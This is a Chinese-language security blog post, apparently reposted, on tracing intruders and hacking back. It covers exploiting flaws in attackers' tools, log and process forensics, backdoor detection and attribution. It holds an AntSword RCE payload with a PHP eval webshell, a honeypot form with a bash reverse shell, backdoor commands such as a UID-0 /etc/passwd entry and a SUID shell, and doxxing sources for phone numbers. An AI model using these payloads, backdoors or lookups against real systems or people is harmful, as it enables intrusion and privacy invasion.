溯源反制思路整合


溯源反制思路整合

0x01反制的整體思路

反入侵得到攻擊者機器權限 -> 入侵現場還原,摸清入侵思路 -> 並且須知入侵者的相關后門遺留,以便處理后門 -> 抓取入侵者的真實IP獲得地理位置 -> 並按照攻擊者的攻擊路線加固相關漏洞安全。

0x02 反制具體思路

0x0201 反制主機

傀儡機一般都是具有漏洞的主機,可以使用常規滲透測試的手段進行攻擊,這個操作就非常廣了,在這里不過多贅述。

0x0202 反制后門附件

  1. 對附件進行逆向分析,得到C2地址,然后對目標ip進行滲透攻擊。
  2. 有些釣魚郵件頭中,沒有對源地址進行偽裝,那么就有可能獲取到源IP或者域名

  1. 留下的后門中有對自己的teamserver回傳數據,可以通過分析后門,或者查看后門源碼得知。

0x0203 反制攻擊工具

倘若對方使用帶有漏洞版本的攻擊工具例如蟻劍、AWVS等,這時候可以使用RCE攻擊對其進行反控,高版本蟻劍上此漏洞已經被修復。
已知有漏洞的工具版本:

  1. 蟻劍 <=2.0.7
    可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/147

    被發現另外一枚可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/150

    Payload:

    <?php
    if(strlen($_POST[1]) == 153){
        preg_match_all('/echo "(\w+)";/i', $_POST[1], $mat);
    
        $profix = $mat[1][0];
        $suffix = $mat[1][1];
        echo $profix;?>
        <!DOCTYPE html>
    <html>
      <head>
        <meta charset="UTF-8">
        <title>Hello World!</title>
      </head>
      <body>
        <h1>Hello World!</h1>
        <p>This window does not have access to node bindings.</p>
        <pre>process: <script>document.write(process)</script></pre>
        <script>
          window.open('data:text/html,But this one does! <br><pre>process.cwd(): <script>document.write(process.cwd());const {spawn} = require("child_process");spawn("open",["/Applications/Calculator.app"]);</scr'+'ipt></pre>');
        </script>
      </body>
    </html>
        <?php
        echo $suffix;
    }else{
        eval($_POST[1]);
    }
    

  2. awvs 10
    直接利用exp,等待對方掃描自己,即刻上線。exp下載地址:https://github.com/dzonerzy/acunetix_0day

  3. cobalt strike

    3.5版本teamserver有RCE漏洞

    可以爆破teamserver密碼,然后得到黑客攻擊的其他傀儡機。

    exp利用地址:https://github.com/ryanohoro/csbruter

  4. sqlmap
    構造特殊的get或者post注入點來等待攻擊者使用sqlmap掃描,例如下圖,將get請求中的一個參數的值設置為lsl,倘若直接改成反彈shell的代碼即可反控對方機器。

    post利用方式:

    
    <html>
    <head>
    <title> A sqlmap honeypot demo</title>
    </head>
    <body>
    <input>search the user</input>
    <form id="myForm" action="username.html" method="post" enctype="text/plain">
    <input type='hidden' name='name'value='Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234'/>
    <input type="button"οnclick="myForm.submit()" value="Submit">
    </form>
    </body>
    </html>
    

0x03 拿下傀儡機之后如何進行源IP的查找

一般拿到傀儡機之后,就需要查找下一步攻擊者的信息了,當然攻擊者也很有可能搭建socks代理來攻擊,但是還是有可能會發現真實攻擊者的蛛絲馬跡的。

0x0301 日志分析

01 Web日志分析

Nginx,Apache,IIS,Tomcat

可以查看分析攻擊者的IP,訪問的UA

可以grep木馬頁面篩選攻擊者IP,

查看日志中某個路徑訪問最多的10個IP

cat gitsort.log | grep "/language/HTML" | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head -n 10

02 系統日志分析

可以看到訪問者的IP

Windows

日志路徑:C:\Windows\System32\winevt\Logs
必看日志:Security.evtx、System.evtx、Application.evtx

Linux

  1. 日志路徑:/var/log
    必看日志:secure、history
/var/log/boot.log:錄了系統在引導過程中發生的事件,就是Linux系統開機自檢過程顯示的信息
/var/log/lastlog :記錄最后一次用戶成功登陸的時間、登陸IP等信息
/var/log/messages :記錄Linux操作系統常見的系統和服務錯誤信息
/var/log/secure :Linux系統安全日志,記錄用戶和工作組變壞情況、用戶登陸認證情況
/var/log/btmp :記錄Linux登陸失敗的用戶、時間以及遠程IP地址
/var/log/syslog:只記錄警告信息,常常是系統出問題的信息,使用lastlog查看
/var/log/wtmp:該日志文件永久記錄每個用戶登錄、注銷及系統的啟動、停機的事件,使用last命令查看
/var/run/utmp:該日志文件記錄有關當前登錄的每個用戶的信息。如 who、w、users、finger等就需要訪問這個文件
/var/log/syslog 或 /var/log/messages 存儲所有的全局系統活動數據,包括開機信息。基於 Debian 的系統如 Ubuntu 在 /var/log/syslog 中存儲它們,而基於 RedHat 的系統如 RHEL 或 CentOS 則在 /var/log/messages 中存儲它們。
/var/log/auth.log 或 /var/log/secure 存儲來自可插拔認證模塊(PAM)的日志,包括成功的登錄,失敗的登錄嘗試和認證方式。Ubuntu 和 Debian 在 /var/log/auth.log 中存儲認證信息,而 RedHat 和 CentOS 則在 /var/log/secure 中存儲該信息。
  1. lastlog 查看最后登陸日志

  2. 查看 /var/log/secure日志

  3. history命令
    查看歷史命令記錄,運氣好的話可以獲得比較關鍵的信息

0x0302 進程分析

Windows

  1. tasklist

    查看進程列表,eg: tasklist | find "16376"進一步查看16376進程的具體信息。

  2. WMIC擴展WMI(Windows Management Instrumentation,Windows管理規范) ,提供了從命令行接口和批命令腳本執行系統管理的支持。C:\users\fengxuan>wmic
    wmic:root\cli>

    這時,在命令行再輸入process, 就可以查看完整的進程信息了。

  3. windows的任務管理器是很好的進程查看工具,當然大家還可以使用一些其他工具,比如Kernel Detective 來幫助你檢測

    https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

Linux

  1. ps

    ps aux 查看進程

  2. /proc/進程號
    進程信息
    在瀏覽 /proc 目錄的時候您會發現許多目錄的名稱是一些數字。這些目錄保存了當前系統中運行的所有進程的信息。

    img

  3. Top 命令,查看進程占用系統資源情況

  4. lsof命令

0x0303 流量分析

通用

netstat -an 查看網絡連接
netstat -na|grep ESTABLISHED 查看已經連接上的網絡IP
netstat -unltp 查看進程占用的端口號 (很有用)

Windows

wireshark

fiddler

linux

tcpdump

使用命令 tcpdump -i any -c100 -nn -w /tmp/tcpdump_save.cap 將抓到的包放到wireshark中進行分析

0x0304 服務查詢

Windows

常見的后門技術列表:

1、隱藏、克隆賬戶
test$
查找方式 :
需要在界面上的用戶管理查看,而不是單單在命令行查看

2、shift后門
將C盤windows目錄下面的system32文件里面的sethc.exe應用程序進行轉移,並生成sethc.exe.bak文件。並將cmd.exe拷貝覆蓋sethc.exe
查找方式 :
Md5 sethc.exe 看下是不是cmd.exe 的MD5

certutil -hashfile filename MD5

3、啟動項、計划任務

【啟動項】

查找方式 :
window--開始--所有程序--啟動

【組策略欺騙】

組策略,運行gpedit.msc,通過最策略的“腳本(啟動/關機)”項來說實現。

查找方式 :

具體位置在“計算機配置→Windows設置”項下。因為其極具隱蔽性,因此常常被攻擊者利用來做服務器后門。

【計划任務】

查找方式 :
window--開始--所有程序--附件--系統工具--任務計划程序

4、劫持技術

查找方式 :
所謂的映像劫持就是Image File Execution Options(IFEO),位於注冊表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

查找方式 :

這個注冊項中有惡意的鍵值對就需要排查.

5、Powershell后門

如何創建穩定的powershell backdoor https://github.com/AV1080p/Schtasks-Backdoor

查找方式 :

查看進程中是否有powershell的常駐進程

6、遠控軟件

Cobaltstrike, 灰鴿子。只能通過進程分析和流量分析才能找到木馬。因為cs可以注入到其他進程中比如說System進程。

查找方式 :

通過任務管理器分析進程,還需要通過WSExplorer進行進程抓包。

7、嗅探技術

Cain

查找方式 :

查看進程

LInux

  1. 增加超級用戶帳號

    echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd

    查找方式 :

    查看 /etc/passwd 是否有UID為0的用戶

  2. 破解/嗅控用戶密碼

    查找方式 :查看進程,分析

  3. 放置SUID Shell

cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

查找系統中設置了SUID權限的文件

find / -perm +4000 -exec ls -ld {} \; //查找設置了SUID權限的文件
find / -perm +6000 -exec ls -ld {} \;  //上面的-6000表示既具有suid權限又具有sgid權限的文件
  1. 利用系統服務程序

    修改/etc/inetd.conf
    daytime stream tcp nowait /bin/sh sh –I
    用trojan程序替換in.telnetd、in.rexecd等 inted的服務程序重定向login程序
    

    查找方式 :查看配置文件,查看文件MD5

  2. TCP/UDP/ICMP Shell

    Ping Backdoor,通過ICMP包激活后門, 形成一個Shell通道。
    TCP ACK數據包后門,能夠穿越防火牆。

    Linux下的icmp shell后門 容易被發現

    http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz

    這個是py版的 https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py

    查找方式 :查看進程

  3. Crontab定時任務

crontab -l #查看服務

0x0305 其他技巧

  1. 查看公鑰,獲取攻擊者電腦名

  2. 查看其他操作日志記錄,比如說Openvpn

通用

查詢在線登陸者

LInux: w命令

Windows:query user

進程分析得到的病毒樣本,可以在https://x.threatbook.cn/ 微步進行HASH查詢,https://www.virustotal.com/ 這個網站上進行查詢,可以檢測是否為病毒,還有可以得到病毒的C2地址。

0x04 溯源相關思路

根據IP進行溯源

  1. 微步在線

    https://x.threatbook.cn/

    1. https://www.virustotal.com/

  2. 搜索引擎搜索

  3. github搜索

根據域名進行溯源

  1. whois查詢
  2. 備案查詢
  3. 企查查/天眼查查詢
  4. zoomeye/fofa查詢

根據ID溯源

  1. 在搜索引擎查找
  2. 在github,gitee,開源中國中查找
  3. 在社交平台上查找,(微信/微博/linkedin/twitter)
  4. 在安全群/安全圈子里詢問。

根據病毒源碼細節溯源

  1. 查找代碼中比較特殊的字符比如說:

    在github中搜索這個特殊字符串“\x47\x4c\x4fB\x41\x4c\x53”。

  2. 查看代碼中是否有請求攻擊者其他主機的功能,會有IP,域名

通過手機號碼溯源

1. 社交平台查詢(微信/支付寶/微博/抖音)
2. 通過telegram里社工庫機器人進行精准信息查詢,機器人ID:@sgkmainbot
3. 查詢注冊過哪些網站 網站地址:https://www.reg007.com/

總結

這篇文章是我目前知道的溯源反制的所有的操作細節規范,在以后如果有新的技術出現,我也會及時的補充進去,我把這個文檔放在Notion上,動態的更新,大家可以隨時查看下:

https://fengxuan.notion.site/0fd37de0b16b44b9a546304ff83f82e8

這里我就放一張思維導圖,大家可以在工作的時候參考。

我的公號:風炫安全, 領取10G藍隊資料


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM